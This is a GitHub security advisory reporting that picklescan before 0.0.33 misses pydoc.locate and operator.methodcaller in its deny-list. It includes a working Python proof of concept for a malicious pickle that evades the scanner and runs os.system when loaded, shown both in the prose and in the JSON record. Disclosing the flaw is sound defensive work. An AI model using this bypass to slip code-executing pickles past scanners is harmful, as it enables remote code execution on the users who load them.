GHSA-84R2-JW7C-4R5Q

Vulnerability from github – Published: 2025-12-29 15:24 – Updated: 2025-12-29 15:24
VLAI?
Summary
Picklescan has Incomplete List of Disallowed Inputs
Details

Summary

Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.

Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.

PoC

use the provided script to create a malicious pickle file

import pickle
import pydoc
import operator
import os

class ModuleLocator:
    def __init__(self, module_name):
        self.module_name = module_name

    def __reduce__(self):
        return (pydoc.locate, (self.module_name,))

class RCEPayload:
    def __reduce__(self):

        cmd = "notepad" #put your payload here

        mc = operator.methodcaller("system", cmd)
        return (mc, (ModuleLocator("os"),))

def generate_exploit():
    payload = RCEPayload()

    try:
        with open("bypass.pkl", "wb") as f:
            f.write(pickle.dumps(payload))
        print("File 'bypass.pkl' created.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    generate_exploit()

The generated payload will not be flagged as dangerous by picklescan but is actually malicious.

import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))

Script to open the pickle file, demonstrating impact

image

Remediation

The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T15:24:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nCurrently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly\n* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string \"os\" to the actual os module).\n* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.\n\nSince locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as \"Safe\" or \"Suspicious\" (depending on configuration) but does not flag them as \"Dangerous\", allowing the malicious file to bypass the security check.\n\n### PoC\n\nuse the provided script to create a malicious pickle file \n\n```python\nimport pickle\nimport pydoc\nimport operator\nimport os\n\nclass ModuleLocator:\n    def __init__(self, module_name):\n        self.module_name = module_name\n        \n    def __reduce__(self):\n        return (pydoc.locate, (self.module_name,))\n\nclass RCEPayload:\n    def __reduce__(self):\n        \n        cmd = \"notepad\" #put your payload here\n        \n        mc = operator.methodcaller(\"system\", cmd)\n        return (mc, (ModuleLocator(\"os\"),))\n\ndef generate_exploit():\n    payload = RCEPayload()\n    \n    try:\n        with open(\"bypass.pkl\", \"wb\") as f:\n            f.write(pickle.dumps(payload))\n        print(\"File \u0027bypass.pkl\u0027 created.\")\n    except Exception as e:\n        print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n    generate_exploit()\n```\n\nThe generated payload will not be flagged as dangerous by picklescan but is actually malicious. \n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"bypass.pkl\", \"rb\"))\n```\n\nScript to open the pickle file, demonstrating impact\n\n\u003cimg width=\"746\" height=\"341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0\" /\u003e\n\n\n### Remediation\nThe deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.",
  "id": "GHSA-84r2-jw7c-4r5q",
  "modified": "2025-12-29T15:24:20Z",
  "published": "2025-12-29T15:24:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan has Incomplete List of Disallowed Inputs"
}


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Sightings

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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


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